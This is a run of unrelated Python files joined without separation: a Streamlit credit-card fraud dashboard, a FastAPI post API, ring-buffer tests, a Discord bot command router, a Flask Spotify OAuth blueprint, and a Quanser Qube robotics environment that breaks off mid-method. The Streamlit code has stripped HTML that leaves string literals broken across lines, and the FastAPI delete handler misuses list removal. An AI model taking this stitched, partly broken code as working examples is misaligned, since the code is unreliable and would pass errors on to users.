import streamlit as st
import matplotlib.pyplot as plt
from sklearn import metrics
from sklearn import tree
import urllib.request
from PIL import Image
from sklearn.metrics import roc_auc_score,roc_curve
from sklearn.metrics import auc

try:
    @st.cache(suppress_st_warning=True, show_spinner=False, allow_output_mutation=True)
    def long_running_function():
        import pandas as pd
        import numpy as np
        import seaborn as sns
        import warnings
        import joblib

        from sklearn.metrics import confusion_matrix, classification_report
        from sklearn.metrics import precision_recall_curve
        from sklearn.metrics import precision_recall_fscore_support

        warnings.filterwarnings("ignore")
        sns.set()

        X_test = pd.read_csv("https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/XTest.csv"
                    ,dtype=float)
        y_test = pd.read_csv("https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/YTest.csv"
                ,dtype=float)
        X_test = X_test.drop("Unnamed: 0", axis=1)
        y_test = y_test.drop("Unnamed: 0", axis=1)

        return pd, np, sns, warnings, joblib, confusion_matrix, classification_report, precision_recall_curve, precision_recall_fscore_support, X_test, y_test

    pd, np, sns, warnings, joblib, confusion_matrix, classification_report, precision_recall_curve, precision_recall_fscore_support, X_test, y_test = long_running_function()

    col1, col2, col3 = st.beta_columns([0.5, 3, 0.5])
    col2.title("Credit Card Fraud Detection")
    st.sidebar.markdown('
Made By: &nbsp &nbsp<link href="https://emoji-css.afeld.me/emoji.css" rel="stylesheet">
', unsafe_allow_html=True)
    st.sidebar.markdown('''
Biruduganti Praveen
''', unsafe_allow_html=True)
    st.write(" ")
    st.sidebar.write('''Praveen's LinkedIn Profile:
    https://bit.ly/3z5jvvU''')
    st.sidebar.write('''Code URL:
        https://bit.ly/3kKlfa6''')
    st.sidebar.write('''

        ''')
    st.sidebar.write('''

        ''')

    smodel = None
    MODEL = None
    choose = None

    choose = st.sidebar.selectbox(
        "Choose Your Action", ('Predict Fraud', 'Check Model Performance', 'View Dataset', 'Model Comparison'))

    if choose == 'Predict Fraud':
        gender = st.selectbox("Gender:", ('Select Gender','Male','Female'))
        states = ('Select State','Andhra Pradesh','Arunachal Pradesh' ,'Assam','Bihar','Chhattisgarh','Goa','Gujarat','Haryana',
                'Himachal Pradesh','Jharkhand','Karnataka','Kerala','Madhya Pradesh','Maharashtra',
                'Manipur','Meghalaya','Mizoram','Nagaland','Odisha','Punjab','Rajasthan','Sikkim','Tamil Nadu','Telangana',
                'Tripura','Uttar Pradesh','Uttarakhand','West Bengal','Chandigarh',
                'National Capital Territory of Delhi','Jammu and Kashmir')
        state = st.selectbox("State", states)
        cardholder = st.text_input("No. of Cards", 'Enter no. of Cards')
        balance = st.text_input("Balance:", 'Enter balance')
        numtrans = st.text_input("Transactions:", 'Enter No. of Transactions')
        numIntTrans = st.text_input("International Transactions:", 'Enter no. of International Transactions')
        creditlimit = st.text_input("Credit Limit: ",'Enter Credit Card Limit')

        if st.button(('Predict')):
            try:
                cardholder = int(cardholder)
                balance = int(balance)
                numtrans = int(numtrans)
                numIntTrans = int(numIntTrans)
                creditlimit = int(creditlimit)
                if gender != 'Select Gender' and state != 'Select State':

                    gender = {'Male':1, 'Female':2}[gender]

                    state_dict = {i:j for i,j in zip(states[1:],[i for i in range(1,32)])}
                    state = state_dict[state]

                    model = joblib.load('./ML_Credit_Card_Saved_Models/LogisticReg.sav')
                    ss = joblib.load('./ML_Credit_Card_Saved_Models/std_scaler.bin')
                    x = ss.transform([[int(gender), int(state), int(cardholder), int(balance), int(numtrans), int(numIntTrans), int(creditlimit)]])
                    pred = model.predict(x.reshape(1,-1))

                    if pred[0] == 0:
                        _, col3, _ = st.beta_columns([3.5, 3.5, 3])
                        col3.markdown(
                        '
Genuine Transaction
', unsafe_allow_html=True)
                    elif pred[0] == 1:
                        _, col3, _ = st.beta_columns([3.5, 3.5, 3])
                        col3.markdown(
                        '
Fraud Transaction
', unsafe_allow_html=True)
                else:
                    print(gender, state, type(cardholder), type(balance), type(numtrans), type(numIntTrans), type(creditlimit))
                    _, _, col3 = st.beta_columns([3, 3, 3.5])
                    col3.markdown(
                        '
**Please Select State and Gender
', unsafe_allow_html=True)
            except:
                _, _, col3 = st.beta_columns([3, 3, 3.5])
                col3.markdown(
                        '
**Please Enter data Correctly
', unsafe_allow_html=True)

    elif choose == "Check Model Performance":
        smodel = st.selectbox("Select Model", ('Logistic Regression', 'Naive Bayes',
                                               'SGDClassifier', 'Decision Tree', 'Random Forest'))
        _, _, col3 = st.beta_columns([3.5, 3.5, 3])
        col3.markdown(
            f'
Selected \"{smodel}\"
', unsafe_allow_html=True)
        st.write('''

        ''')

        @st.cache(suppress_st_warning=True, show_spinner=False, allow_output_mutation=True)
        def func(smodel, MODEL):

            if smodel == "Logistic Regression":
                MODEL = joblib.load('./ML_Credit_Card_Saved_Models/LogisticReg.sav')

            elif smodel == "Naive Bayes":
                MODEL = joblib.load('./ML_Credit_Card_Saved_Models/NaiveBayes.sav')

            elif smodel == "SGDClassifier":
                MODEL = joblib.load('./ML_Credit_Card_Saved_Models/SGD.sav')

            elif smodel == "Decision Tree":
                MODEL = joblib.load(
                    './ML_Credit_Card_Saved_Models/DecisionTree.sav')

            elif smodel == "Random Forest":
                MODEL = joblib.load(
                    './ML_Credit_Card_Saved_Models/RandomForest.sav')

            pred = MODEL.predict(X_test)
            accuracy = metrics.accuracy_score(pred, y_test[["fraudRisk"]])

            (TN, FP), (FN, TP) = confusion_matrix(y_test[["fraudRisk"]], pred)
            specificity = TN/(TN + FP)
            f1_score = metrics.f1_score(y_test[["fraudRisk"]], pred)
            recall = metrics.recall_score(y_test[["fraudRisk"]], pred)
            precision = metrics.precision_score(y_test[["fraudRisk"]], pred)

            return MODEL, pred, accuracy, specificity, f1_score, recall, precision

        MODEL, pred, accuracy, specificity, f1_score, recall, precision = func(
            smodel, MODEL)

        st.markdown('
Performance:
',
                    unsafe_allow_html=True)
        dataframe = pd.DataFrame(
            [[accuracy*100, specificity, f1_score, recall, precision]],
            columns=['Accuracy(%)', 'Specificity', 'F1 Score', 'Recall', 'Precision'], index = [smodel])
        st.table(dataframe)
        st.write('''

        ''')

        st.markdown('
Classification Report:
', unsafe_allow_html=True)

        def pandas_classification_report(y_true, y_pred):
            metrics_summary = precision_recall_fscore_support(
                y_true=y_true,
                y_pred=y_pred)

            avg = list(precision_recall_fscore_support(
                y_true=y_true,
                y_pred=y_pred,
                average='weighted'))

            metrics_sum_index = ['precision', 'recall', 'f1-score', 'support']
            class_report_df = pd.DataFrame(
                list(metrics_summary),
                index=metrics_sum_index)

            support = class_report_df.loc['support']
            total = support.sum()
            avg[-1] = total

            class_report_df['avg / total'] = avg

            return class_report_df.T

        st.table(pandas_classification_report(y_test[["fraudRisk"]], pred))
        st.text("")
        st.markdown('
Plotting:
',
                    unsafe_allow_html=True)

        col1, col2, col3, col4 = st.beta_columns([4, 3, 4, 3])
        do_plot = col1.button(("ROC Curve"))
        if do_plot:
            fig = plt.figure(figsize=(15, 6))
            auc = roc_auc_score(y_test["fraudRisk"], pred)
            fpr, tpr, _ = roc_curve(y_test["fraudRisk"], pred)
            plt.plot(fpr, tpr, marker='.',color='red')
            plt.title(smodel.upper()+f', AUC: {auc:.4f}')
            plt.xlabel('False Positive Rate')
            plt.ylabel('True Positive Rate')
            st.pyplot(fig)

        do_plot = col2.button(("Fraud Count"))
        if do_plot:
            fig = plt.figure(figsize=(15, 6))
            sns.countplot(pred)
            plt.title('No. of Fraud and Non-Frauds predicted by the Model')
            st.pyplot(fig)

        do_plot = col3.button(("Confusion Matrix"))
        if do_plot:
            fig = plt.figure()
            sns.heatmap(confusion_matrix(
                y_test[["fraudRisk"]], pred), annot=True, fmt=".1f")
            plt.xlabel('Predicted')
            plt.ylabel('Actual')
            st.pyplot(fig)

        if smodel == "Decision Tree":
            do_plot = col4.button(("Decision Tree"))
            if do_plot:
                urllib.request.urlretrieve('https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/DecisionTreePlot.jpg',
                                    "DecisionTreePlot.jpg")
                img = Image.open('DecisionTreePlot.jpg')
                st.image(img, caption='Decision Tree Plot',use_column_width=True)

    elif choose == "View Dataset":
        st.write("Actual Dataset (First 20 Rows):               SHAPE: (10000000, 7)")
        st.table(pd.read_csv("ActualDataset.txt"))

        st.subheader("Showing Dataset After applying StandarScaler")
        st.write("Independent Dataset (First 15 Rows):")
        st.table(X_test.head(15))

        st.write("Dependent Feature (First 15 Rows):")
        st.table(y_test.head(15))

    else:
        st.markdown('
Accuracy of All Model
', unsafe_allow_html=True)
        urllib.request.urlretrieve('https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/accuracy.jpg',
                                    "accuracy.jpg")
        img = Image.open('accuracy.jpg')
        st.image(img, caption='Accuracy of All Models',width=530)

        st.markdown('
Recall of All Model
', unsafe_allow_html=True)
        urllib.request.urlretrieve("https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/recall.jpg"
                                   ,"recall.jpg")
        img = Image.open('recall.jpg')
        st.image(img, caption='Recall of All Models',width=530)

        st.markdown('
Precision of All Model
', unsafe_allow_html=True)
        urllib.request.urlretrieve('https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/precision.jpg',
                                    "accuracy.jpg")
        img = Image.open('accuracy.jpg')
        st.image(img, caption='Precision of All Models',width=530)

        st.markdown('
F1 Score of All Model
', unsafe_allow_html=True)
        urllib.request.urlretrieve('https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/f1score.jpg',
                                    "accuracy.jpg")
        img = Image.open('accuracy.jpg')
        st.image(img, caption='F1 Score of All Models',width=530)

        st.markdown('
Precision-Recall Curve of All Model
', unsafe_allow_html=True)
        urllib.request.urlretrieve('https://raw.githubusercontent.com/Biruduganti-Praveen/Credit-Card-Fraud-Detection-using-Machine-Learning/main/Images/precision-recall.jpg',
                                    "accuracy.jpg")
        img = Image.open('accuracy.jpg')
        st.image(img, caption='Precision-Recall Curve of All Models',use_column_width=True)

        st.write('''
        ''')
        st.write('''

        ''')
        st.markdown('
**Sensitivity(Recall) is a measure of the proportion of actual positive cases that got predicted as positive (or true positive).
', unsafe_allow_html=True)
        st.markdown('
**Precision is the ratio of correctly predicted positive observations to the total predicted positive observations.
', unsafe_allow_html=True)
except:
    st.title("ERROR 404")
    st.markdown("Sorry for the inconvenience; there is some technical problem that will be fixed soon!!")


from datetime import datetime
from uuid import uuid4 as uid
from fastapi import FastAPI
from fastapi.responses import JSONResponse
from pydantic import BaseModel
from typing import Text, Optional

app = FastAPI()

class Post(BaseModel):
    id: Optional[str]
    title: str
    autor: str
    content: Text
    created_at: datetime = datetime.now()
    published_at: Optional[datetime]
    publish: bool = False

posts = []

@app.get('/posts')
def get_posts():
    return posts

@app.post('/posts')
def save_post(post: Post):
    post.id = str(uid())
    posts.append(post.dict())
    return JSONResponse(content={'message':'saved succesfully'})

@app.get('/posts/{post_id}')
def get_post(post_id:str):
    result = list(filter(lambda post: post['id'] == post_id, posts))
    if not result:
        return JSONResponse(content={'message':'Not found'}, status_code=404)
    return result

@app.delete('/posts/{post_id}')
def delete_post(post_id:str):
    result = list(filter(lambda post: post['id'] == post_id, posts))
    if not result:
        return JSONResponse(content={'message':'Not found'}, status_code=404)
    posts.remove(posts['id']==post_id)
    return JSONResponse(content={'data':'succesfully deleted'}, status_code=200)


import logging
import pickle
import time
from multiprocessing import Process

from generic_tster import tst_runner
from memory_interface import MemoryInterface, SharedBool

logging.basicConfig(level=logging.INFO)

def needparms(memblk):
    logging.info(" in memory")
    m2 = MemoryInterface()
    m2.load_memorybuf(memblk)
    logging.info("finished")

    m2.cleanup()

    return True

def canbeprocessed():
    logging.info("validate that it can be multipprocessed")
    memsize = 20
    nrmem = 5
    m1 = MemoryInterface()
    memblk = m1.create_memorybuf(memsize, nrmem)

    pok = Process(target=needparms, args=(memblk,))
    pok.start()
    pok.join()

    m1.cleanup()

    logging.info("validation success")

    return True

def testbasics():
    largest_number = 100
    largest = [i for i in range(largest_number)]
    memsize = len(pickle.dumps(largest))
    nrmem = 5
    m1 = MemoryInterface()
    m1.create_memorybuf(largest, nrmem)

    m2s = MemoryInterface()
    memblk = m2s.create_memorybuf(largest, nrmem)

    m2 = MemoryInterface()
    m2.load_memorybuf(memblk)

    logging.info("for both m2 as mi must hold the following:")
    for mi in [m1, m2]:

        assert mi.get_read_pointer() == 0
        assert mi.get_write_pointer() == 0
        assert mi.get_size_in_bytes() == memsize

        logging.info("validate that, at start, the number and that all are empty:")
        for i in range(nrmem):
            num = mi.is_valid(i)
            logging.debug(f"{i}, {num}")
            assert 0 == num

        logging.info("validate that the read and write pointers are zero:")
        assert mi.get_read_pointer() == 0
        assert mi.get_write_pointer() == 0
        assert mi.get_fullness() == 0

        logging.info("validate that, at start, you can write but can't read:")
        assert mi.can_read() == False
        assert mi.can_write() == True

        logging.info("can read is the same asa is_valid")
        assert mi.can_read() == mi.is_valid(mi.get_read_pointer())

        logging.info("Validate that what you write you can then read")

        towrite = [i for i in range(largest_number // 2)]
        towritelen = len(pickle.dumps(towrite))
        written = mi.write(towrite)
        assert towritelen == written
        logging.info("validate that the fullness is 1")
        a = mi.get_fullness()

        assert 1 * 100 // nrmem == a

        logging.info("Validate that the reader can now read what was written")
        assert mi.get_write_pointer() == 1
        assert mi.get_read_pointer() == 0
        assert True == mi.can_read()
        toread = mi.read()
        assert toread == towrite
        logging.info("validate that the fullness is 0")
        assert 0 == mi.get_fullness()

        logging.info("Validate that the reader and writer are as, like before ")
        assert mi.can_read() == False
        assert mi.can_write() == True

        logging.info("Validate that if you write too much only the min will be read")
        startwrtptr = mi.get_write_pointer()
        towrite2 = [i for i in range(largest_number + 1)]
        logging.info(f"too much is now {len(towrite)} while only {memsize} can")
        try:
            written = mi.write(towrite2)
            ok = False
        except:
            ok = True

        assert ok == True
        assert startwrtptr == mi.get_write_pointer()
        logging.info(" ... and the write index is still the same")
        logging.info("now writing something else: bytestream")

        base = [i for i in range(largest_number)]
        towritelen = len(pickle.dumps(base))
        written = mi.write(base)
        assert towritelen == written

        logging.info("Validate that the reader can now read the bytearray was written")
        assert True == mi.can_read()
        toread = mi.read()
        assert base == toread

        logging.info("validate that we now have no valid elements")
        for i in range(nrmem):
            logging.debug(f"{i}, {mi.is_valid(i)}")
            assert mi.is_valid(i) == False

        logging.info("now we are going around and fill all of the elements")
        for i in range(nrmem):
            if mi.can_write():
                towrite = [j for j in range(largest_number // 4)]
                mi.write(towrite)
            else:
                raise ValueError(f"could not write to {i}")

        assert mi.can_write() == False
        logging.info("...and validated that all is now full")
        logging.info("validate that the fullness is max")
        assert mi.get_number_of_memories() * 100 // nrmem == mi.get_fullness()
        logging.info("so now  all can be read")

        towrite = [j for j in range(largest_number // 4)]
        for i in range(nrmem):
            if mi.can_read():
                rec = mi.read()
                assert rec == towrite
            else:
                raise ValueError(f"could not read from {i}")

        # because each are unique:
        mi.cleanup()

def readnumbers(memblk, ms, membusy):
    mi = MemoryInterface(memblk)
    busy = SharedBool(membusy)

    i = 0
    nrwait = 0
    towrite = [1]
    while busy.read():

        while not mi.can_read():
            nrwait += 1

        rec = mi.read()
        assert rec == [i]
        i += 1

    mi.cleanup()

def writenumbers(memblk, ms, membusy):
    mi = MemoryInterface(memblk)
    busy = SharedBool(membusy)

    assert ms == mi.get_size_in_bytes()
    buflen = mi.get_size_in_bytes()
    assert ms <= buflen, f"ms={ms} may not be larger than buflen={buflen}"
    logging.info(f"ms may not be larger than buflen: ms={ms} <= buflen={buflen}")

    i = 0
    nrwait = 0
    while busy.read():

        while not mi.can_write():
            nrwait += 1

        mi.write([i])
        i += 1

    mi.cleanup()
    return True

def testnumbers():
    largest_size = 100
    largest = [i for i in range(largest_size)]
    memsize = len(pickle.dumps(largest))
    nrmem = 5
    m1 = MemoryInterface()
    memblk = m1.create_memorybuf(largest, nrmem)
    busy = SharedBool()
    membusy = busy.create_sharedobject()
    busy.write(True)

    p1 = Process(target=writenumbers, args=(memblk, memsize, membusy))
    p2 = Process(target=readnumbers, args=(memblk, memsize, membusy))

    p2.start()
    p1.start()

    count = 0
    while count < 100:
        logging.debug(f"{count}: {m1.get_fullness()}, {m1.get_read_pointer()}, {m1.get_write_pointer()}, ")
        count += 1
        time.sleep(0.1)
    busy.write(False)

    p1.join()
    p2.join()

    logging.info("now also in process")

    m1.cleanup()

def test_read_reset():
    logging.info(f'test_read_reset')

    largest= [i for  i in range(2000)]
    nrmem = 10

    m2s = MemoryInterface()
    memblk = m2s.create_memorybuf(largest, nrmem)

    m2 = MemoryInterface()
    m2.load_memorybuf(memblk)

    assert nrmem == m2s.get_number_of_memories()

    pos = m2s.get_write_pointer()
    logging.debug(f"writepointer : {pos}")

    assert pos == 0

    while m2s.can_write():
        m2s.write(largest)

    pos = m2s.get_write_pointer()
    logging.debug(f"writepointer : {pos}")

    assert m2s.can_write() == False

    assert pos == 0

    pos = m2.get_read_pointer()
    logging.debug(f"readponter = {pos}")

    m2.reset_read()

    assert False == m2.can_read()

    pos = m2.get_read_pointer()
    logging.debug(f"readponter = {pos}")

    assert pos == 0

    # now the buffer is empty, so can read again
    for i in range(nrmem // 2):
        assert m2s.can_write()
        m2s.write(largest)

    assert m2s.can_write()

    pos = m2s.get_write_pointer()
    logging.debug(f"writepointer : {pos}")
    assert pos == nrmem // 2

    # should be able to read:
    assert m2.can_read()
    pos = m2.get_read_pointer()
    logging.debug(f"readponter = {pos}")
    # still at 0
    assert pos == 0

    m2.reset_read()
    pos = m2.get_read_pointer()
    logging.debug(f"readponter before write = {pos}")

    pos = m2s.get_write_pointer()
    logging.debug(f"writepointer : {pos}")

    assert m2.can_read() == False
    assert m2.can_write() == True

def tstmain():
    tests = [canbeprocessed, testbasics, testnumbers]

    return tst_runner(tests)

if __name__ == "__main__":
    tstmain()


import getopt
import importlib
import sys
from datetime import datetime as dt
from re import compile
from typing import Dict, get_type_hints, List, Optional, Tuple

from petal.etc import check_types, split, unquote
from petal.exceptions import CommandArgsError, CommandAuthError
from petal.social_integration import Integrated
from petal.types import Args, Src

# List of modules to load; All Command-providing modules should be included (NOT "core").
# Order of this list is the order in which commands will be searched. First occurrence
#     the user is permitted to access will be run.
LoadModules = [
    "sudo",
    "dev",
    "admin",
    "manager",
    "mod",
    "listener",
    "social",
    "event",
    "minecraft",
    "util",
    "public",
    "custom",
]

for module in LoadModules:
    # Import everything in the list above.
    importlib.import_module("." + module, package=__name__)

auth_fail_dict = {
    "bad user": "Could not find you on the main server.",
    "bad role": "Could not find the correct role on the main server.",
    "bad op": "Command wants MC Operator but is not integrated.",
    "private": "Command cannot be used in DM.",
}

_uquote_1 = compile(r"[‹›‘’‚]")
_uquote_2 = compile(r"[«»“”„]")

_unquote = lambda s: _uquote_1.sub("'", _uquote_2.sub('"', s))

SOFT_HYPHEN: str = chr(173)

class CommandRouter(Integrated):
    version = ""

    def __init__(self, client, *a, **kw):
        super().__init__(client)
        self.startup = client.startup

        self.log.info("Loading Command modules...")
        self.engines = []

        # Load all command engines.
        for MODULE in LoadModules:
            # Get the module.
            self.log.info(f"Loading {MODULE.title()} commands...")
            mod = sys.modules.get(__name__ + "." + MODULE, None)
            if mod:
                # Instantiate its command engine.
                cmod = mod.CommandModule(client, self, *a, **kw)
                self.engines.append(cmod)
                setattr(self, MODULE, cmod)
                self.log.ready(f"{MODULE.title()} commands loaded.")
            else:
                self.log.warn(f"FAILED to load {MODULE.title()} commands.")

        self.log.ready("Command modules loaded.")

    def find_command(self, kword, src=None, recursive=True):
        """Find and return a Class Method whose name matches kword."""
        reason = ""
        func = mod_src = None

        for mod in self.engines:
            _func, _submod = mod.get_command(kword)
            if _func:
                func = _func
                mod_src = _submod or mod
                permitted, reason = mod_src.authenticate(src)
                if not src or permitted:
                    # Allow if no Source Message was provided. That would
                    #   indicate that this is not a check meant to be enforced.
                    return mod_src, _func

        if func:
            # The Loop above successfully found a Method for this Command, but
            #   did NOT find that its use was permitted.
            # (If it were found permitted, it would have returned and we would
            #   not be here.)
            if reason in auth_fail_dict:
                raise CommandAuthError(auth_fail_dict[reason])

            elif reason == "denied":
                raise CommandAuthError(
                    mod_src.auth_fail.format(
                        op=mod_src.op,
                        role=(
                            self.config.get(mod_src.role)
                            if mod_src.role
                            else "!! ERROR !!"
                        ),
                        user=src.author.name,
                    )
                )
            else:
                raise CommandAuthError(f"`{reason}`.")
        else:
            # This command is not "real". Check whether it is an alias.
            if recursive:
                alias = self.config.get("aliases", {})
                if kword in alias:
                    return self.find_command(alias[kword], src, False)

            return None, None

    def get_all(self, src: Src = None):
        full = []
        for mod in self.engines:
            if not src or mod.authenticate(src):
                full += mod.get_all()
        return full

    @staticmethod
    def parse(
        args: List[str], shorts: str = "", longs: list = None
    ) -> Tuple[List[str], Dict[str, Optional[str]]]:
        """Just a hinted proxy for GetOpt. Allows commands to more easily use it.
        Also reverses the output because I dislike the normal order, but dont
            tell anyone.
        """
        longs = longs or []
        o, a = getopt.getopt(args, shorts, longs)
        return a, {k: v for k, v in o}

    def parse_from_hinting(
        self, cline: List[str], func: classmethod
    ) -> Tuple[Args, Dict[str, Optional[str]]]:
        """cline is a List of Strings, and func is a Command Method. Generate a
            Dict of Types that can be accepted by the various kwargs of func.
            With that information, use Getopt to break cline down into
            Arguments, Options, and Values that can be passed to func.

        Using this system, a Command Method can specify the types acceptable for
            its Options, and Users can pass data as part of a String that gets
            automatically converted into the correct Type.
        """
        hints = get_type_hints(func)
        shorts = ""
        longs = []

        # First, convert the method typing hints into something Getopt knows.
        for opt_name, opt_type in hints.items():
            if not opt_name.startswith("_"):
                continue
            # "_option_name" -> "option-name"
            opt_name = opt_name[1:].replace("_", "-")
            if len(opt_name) == 1:
                if opt_type != bool:
                    opt_name += ":"
                shorts += opt_name
            else:
                if opt_type != bool:
                    opt_name += "="
                longs.append(opt_name)

        # Run the line through Getopt using the option expectations we just generated.
        args, opts = self.parse(cline, shorts, longs)

        # Args: Remove any outermost quotes.
        args: Args = Args([unquote(arg.replace(SOFT_HYPHEN, "")) for arg in args])
        # Opts: Enforce the typing, and if it all passes, send our results back up.
        opts = check_types(opts, hints)

        return args, opts

    async def route(self, command: str, src: Src):
        """Route a command (and the source message) to the correct method of the
        correct module. By this point, the prefix should have been stripped
        away already, leaving a plaintext command.
        """
        command = _unquote(command)
        try:
            cline, msg = split(command)
        except ValueError as e:
            raise CommandArgsError(f"Could not parse arguments: {e}")
        cword = cline.pop(0)

        # Find the method, if one exists.
        engine, func = self.find_command(cword, src)
        if func:
            try:
                args, opts = self.parse_from_hinting(cline, func)
            except getopt.GetoptError as e:
                bad_opt = f"-{e.opt}" if len(e.opt) == 1 else f"--{e.opt}"
                raise CommandArgsError(
                    f"Sorry, {e.msg.replace(bad_opt, f'`{cword} {bad_opt}`')}."
                )
            except TypeError as e:
                raise CommandArgsError(f"Sorry, an option is mistyped: {e}")

            # Execute the method, passing the arguments as a list and the options
            #   as keyword arguments.
            if cword != "argtest" and "|" in args:
                await self.client.send_message(
                    channel=src.channel,
                    message="It looks like you might have tried to separate"
                    " arguments with a pipe (`|`). I will still try to run that"
                    " command, but just so you know, arguments are now"
                    " *space-separated*, and grouped by quotes. Check out the"
                    " `argtest` command for more info.",
                )
            return func(args=args, **opts, msg=msg, src=src)

    async def run(self, src: Src):
        """Given a message, determine whether it is a command;
        If it is, route it accordingly.
        """
        if src.author != self.client.user and src.content.startswith(
            self.config.prefix
        ):
            # Message begins with the invocation prefix.
            command = src.content[len(self.config.prefix) :]
            # Remove the prefix and route the command.
            return await self.route(command, src)

    @property
    def uptime(self):
        _d: float = dt.utcnow().timestamp() - self.client.startup_unix

        days, _d = divmod(_d, 86_400)  # days
        hour, _d = divmod(_d, 3_600)  # hours
        mins, secs = divmod(_d, 60)  # minutes, seconds

        return (
            f"{days:.0f} days, "
            f"{hour:.0f} hours, "
            f"{mins:.0f} minutes, "
            f"{secs:.2F} seconds"
        )


from flask import Blueprint, redirect, url_for, request
from settings import (SPOTIFY_CLIENT_ID, SPOTIFY_CLIENT_SECRET, SERVER_NAME)
from flask_login import current_user
from flask_security import login_required
from spotipy import oauth2
import db_utils
import application as app

spotify_blueprint = Blueprint('spotify', __name__, template_folder='templates')
SCOPE = ' '.join(["playlist-read-private",
                  "playlist-modify-public",
                  "playlist-modify-private",
                  "user-library-read"])

redirect_uri = 'http://' + SERVER_NAME + '/spotify/callback'
sp_oauth = oauth2.SpotifyOAuth(SPOTIFY_CLIENT_ID,
                               SPOTIFY_CLIENT_SECRET,
                               redirect_uri,
                               scope=SCOPE)

@spotify_blueprint.route('/authenticate')
@login_required
def start_authentication():
    auth_url = sp_oauth.get_authorize_url()
    return redirect(auth_url)

@spotify_blueprint.route('/callback')
@login_required
def auth_callback():
    code = request.args.get('code')
    token_info = sp_oauth.get_access_token(code)
    db_utils.spotify_credentials_upsert(app.engine,
                                        current_user.id,
                                        token_info)
    return redirect(url_for('profile', username=current_user.username))

@spotify_blueprint.route('/disconnect')
@login_required
def disconnect():
    db_utils.spotify_creds_delete(app.engine, current_user.id)
    current_user._spotify = None
    return redirect(url_for('profile', username=current_user.username))

def get_spotify_playlists():
    user_spotify = current_user.spotify
    playlists = user_spotify.current_user_playlists()
    return playlists

def create_spotify_playlist(current_playlist_name, tracks_to_add):
    user_spotify = current_user.spotify
    created = user_spotify.user_playlist_create(user_spotify.me()['id'],
                                                current_playlist_name)
    user_spotify.user_playlist_add_tracks(user_spotify.me()['id'],
                                          created['id'],
                                          tracks_to_add)

def do_playlist_import(engine, user_spotify, user_id, playlist_id,
                       scheduler):
    playlists = user_spotify.current_user_playlists()
    playlist = next(p for p in playlists['items']
                    if p['id'] == playlist_id)

    if playlist['owner']['id'] == user_spotify.current_user()['id']:
        # insert playlist into database
        db_utils.create_playlist(engine, user_id, playlist['name'])
        spotify_user_id = user_spotify.current_user()['id']
        results = user_spotify.user_playlist_tracks(spotify_user_id,
                                                    playlist['id'])
        tracks = results['items']

        while results['next']:
            results = user_spotify.next(results)
            tracks.extend(results['items'])

        curr_playlist_id = db_utils.get_playlist_id(engine,
                                                    playlist['name'],
                                                    user_id)

        for item in tracks:
            # Skip local songs
            if item['is_local']:
                continue
            track = item['track']
            trackname = track['name']
            trackalbum = track['album']['name']
            trackartist = track['artists'][0]['name']
            trackduration = track.get('duration_ms', 0) / 1000
            trackpreview = track.get('preview_url')
            trackuri = track['uri']

            # insert song into database
            db_utils.create_song(engine, trackname, trackartist,
                                 trackalbum, trackduration, trackpreview,
                                 trackuri)
            curr_song_id = db_utils.get_song_id(engine, trackname,
                                                trackartist)

            # insert song into playlist.
            db_utils.add_song_to_playlist(engine, curr_song_id[0],
                                          curr_playlist_id[0])

    # Update the database once we've imported new songs
    scheduler.schedule_update()


from typing import Optional

import numpy as np
import torch as to
from init_args_serializer import Serializable

import pyrado
from pyrado.environments.quanser import MAX_ACT_QQ
from pyrado.environments.quanser.base import QuanserReal
from pyrado.policies.special.environment_specific import QQubeGoToLimCtrl, QQubePDCtrl
from pyrado.spaces.box import BoxSpace
from pyrado.tasks.base import Task
from pyrado.tasks.desired_state import RadiallySymmDesStateTask
from pyrado.tasks.reward_functions import ExpQuadrErrRewFcn
from pyrado.utils.input_output import completion_context, print_cbt

class QQubeSwingUpReal(QuanserReal, Serializable):
    """Class for the real Quanser Qube a.k.a. Furuta pendulum"""

    name: str = "qq-su"

    def __init__(
        self,
        dt: float = 1 / 500.0,
        max_steps: int = pyrado.inf,
        task_args: Optional[dict] = None,
        ip: str = "192.168.2.17",
    ):
        """
        Constructor

        :param dt: sampling frequency on the Quanser device [Hz]
        :param max_steps: maximum number of steps executed on the device [-]
        :param task_args: arguments for the task construction
        :param ip: IP address of the Qube platform
        """
        Serializable._init(self, locals())

        # Initialize spaces, dt, max_step, and communication
        super().__init__(ip, rcv_dim=4, snd_dim=1, dt=dt, max_steps=max_steps, task_args=task_args)
        self._curr_act = np.zeros(self.act_space.shape)  # just for usage in render function
        self._sens_offset = np.zeros(4)  # last two entries are never calibrated but useful for broadcasting

    def _create_task(self, task_args: dict) -> Task:
        # Define the task including the reward function
        state_des = task_args.get("state_des", np.array([0.0, np.pi, 0.0, 0.0]))
        Q = task_args.get("Q", np.diag([3e-1, 1.0, 2e-2, 5e-3]))
        R = task_args.get("R", np.diag([4e-3]))

        return RadiallySymmDesStateTask(self.spec, state_des, ExpQuadrErrRewFcn(Q, R), idcs=[1])

    def _create_spaces(self):
        # Define the spaces
        max_state = np.array([120.0 / 180 * np.pi, 4 * np.pi, 20 * np.pi, 20 * np.pi])  # [rad, rad, rad/s, rad/s]
        max_obs = np.array([1.0, 1.0, 1.0, 1.0, pyrado.inf, pyrado.inf])  # [-, -, -, -, rad/s, rad/s]
        self._state_space = BoxSpace(-max_state, max_state, labels=["theta", "alpha", "theta_dot", "alpha_dot"])
        self._obs_space = BoxSpace(
            -max_obs, max_obs, labels=["sin_theta", "cos_theta", "sin_alpha", "cos_alpha", "theta_dot", "alpha_dot"]
        )
        self._act_space = BoxSpace(-MAX_ACT_QQ, MAX_ACT_QQ, labels=["V"])

    @property
    def task(self) -> Task:
        return self._task

    def observe(self, state) -> np.ndarray:
        return np.array([np.sin(state[0]), np.cos(state[0]), np.sin(state[1]), np.cos(state[1]), state[2], state[3]])

    def reset(self, *args, **kwargs) -> np.ndarray:
        # Reset socket and task
        super().reset()

        # Run calibration routine to start in the center
        self.calibrate()

        # Start with a zero action and get the first sensor measurements
